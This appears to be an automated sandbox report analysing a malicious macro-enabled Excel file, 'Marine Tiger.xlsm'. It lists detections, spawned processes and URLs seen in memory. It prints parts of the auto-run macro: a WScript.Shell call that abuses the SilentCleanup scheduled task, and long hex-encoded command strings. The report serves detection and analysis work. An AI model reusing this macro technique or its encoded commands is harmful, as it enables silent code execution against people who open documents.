Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Jump to behavior

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No contacted IP infos

AV Detection:

Multi AV Scanner detection for submitted file

Source: Marine Tiger.xlsm	Virustotal: Detection: 40%			Perma Link
Source: Marine Tiger.xlsm	ReversingLabs: Detection: 29%

Machine Learning detection for sample

Source: Marine Tiger.xlsm

Joe Sandbox ML: detected

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Jump to behavior

Networking:

Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.office.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.onedrive.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://augloop.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.entity.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cortana.ai/api
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cr.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://directory.services.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.windows.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.windows.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.local
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://management.azure.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://management.azure.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://messaging.office.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officeapps.live.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://settings.outlook.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://tasks.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Document contains an embedded VBA macro which may execute processes

Source: VBA code instrumentation

OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, API IWshShell3.Run("cmd /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I")

Name: Workbook_Open

Document contains an embedded VBA macro with suspicious strings

Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: Marine Tiger.xlsm

Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regdelete, regwrite, run

Document contains an embedded VBA with hexadecimal encoded strings

Source: Marine Tiger.xlsm	Stream path 'VBA/ThisWorkbook' : found hex strings
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 6F79702C3B6F2C7C6A7B83717E7F746A71786A782C39832C3D2C4D707039597C5C7E7172717E717A6F712C3951846F78817F757B7A5C6D80742C2E30717A82466D7C7C706D806D2E475F806D7E80395F7871717C2C3D3E472C345A7183395B6E76716F802C5A71803A63716E4F7875717A80353A507B837A787B6D705275787134337480807C463B3B817A75807E6D7A7F74757C3A757A3B7C63725F417F5955457763757E51573A71847133383430717A82466D7C7C706D806D35373368607D5A6F4F3A6E6D803335475F806D7E80395F7871717C2C3E472C5F806D7E80395C7E7B6F717F7F2C30717A82466D7C7C706D806D68607D5A6F4F3A6E6D8047325E51592C33
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 6F79702C3B6F2C7F6F74806D7F777F2C3B7E817A2C3B807A2C6859756F7E7B7F7B72806863757A707B837F6850757F774F78716D7A817C685F7578717A804F78716D7A817C2C3B55
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: Marine Tiger.xlsm	OLE, VBA macro line: Public Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open			Name: Workbook_Open

Document contains embedded VBA macros

Source: Marine Tiger.xlsm

OLE indicator, VBA macros: true

Source: classification engine

Classification label: mal80.expl.winXLSM@6/2@0/0

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1380:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{71BC67F4-840E-4745-856A-494696798178} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Marine Tiger.xlsm	Virustotal: Detection: 40%
Source: Marine Tiger.xlsm	ReversingLabs: Detection: 29%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Source: unknown

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
